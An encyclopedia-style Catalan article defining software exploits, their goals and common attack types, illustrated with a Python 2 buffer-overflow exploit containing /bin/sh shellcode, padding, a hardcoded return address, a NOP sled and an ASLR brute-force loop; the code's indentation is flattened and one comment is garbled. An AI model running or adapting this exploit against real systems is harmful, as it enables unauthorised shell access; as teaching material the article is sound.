Exploit

Exploit (de l'anglès to exploit, explotar o aprofitar) és una peça de programari, un fragment de dades o una seqüència d'ordres per tal d'automatitzar l'aprofitament d'un error, fallada o vulnerabilitat, causar un comportament no desitjat o imprevist en els programes informàtics, maquinari, o component electrònic (en general computat). Sovint, això inclou coses com ara la violenta presa de control d'un sistema de còmput o permetre l'escalada de privilegis o un atac de denegació de servei.

L'objectiu de l'exploit pot ser violar les mesures de seguretat per accedir-hi de forma no autoritzada i emprar en benefici propi o com a origen d'altres atacs a tercers.

Els exploits poden ser escrits emprant una diversitat de llenguatges de programació, tot i que majoritàriament se sol utilitzar llenguatge C. També pot aprofitar-se de diferents tipus d'atacs com ara desbordament de memòria intermèdia, Cross Site Scripting, Format Strings, Injecció SQL, entre altres.

Un exemple d'un exploit, que s'aprofita d'un desbordament de memòria intermèdia escrit en llenguatge Python seria:

#!/usr/bin/env python
import os
import sys
import time

class Exploit:

 def __init__(self):
 if len(sys.argv) <> 2:
 print "\n[*] Usage: python exploit.py /path/binary\n"
 exit() 
 else:
 self.arg2=sys.argv[1]
 # Command=/bin/sh Size=24 bytes Bind=No 
 self.shellcode = ("\x99\x31\xc0\x52\x68\x6e\x2f\x73"
 "\x68\x68\x2f\x2f\x62\x69\x89\xe3"
 "\x52\x53\x89\xe1\xb0\x0b\xcd\x80") 

 self.payload = '\x41'*1036 # Padding 0x41 (A) 
 self.payload += '\x70\x9b\x80\xbf' # Magic Address -> 0xbf809b70
 self.payload += '\x90'*10000 # 0x90 (NOP) x 10000
 # The ASLR begin at the memory address 0xbf80010#i1

 def loop(self):
 print "\n[+] Starting Explotation...\n"
 time.sleep(2)

 while True:
 os.system(self.arg2 + ' ' + self.payload + self.shellcode)

"""Start execution"""
if __name__ == '__main__':
 union=Exploit() 
 conector=union.loop()
exit()

Una de les eines més utilitzades per treballar amb aquest tipus de programari és Metasploit Framework, una plataforma de test de penetració escrita en llenguatge de programació Ruby, com així també altres frameworks com Core Impact, Canvas, entre altres.

Vegeu també

[modifica]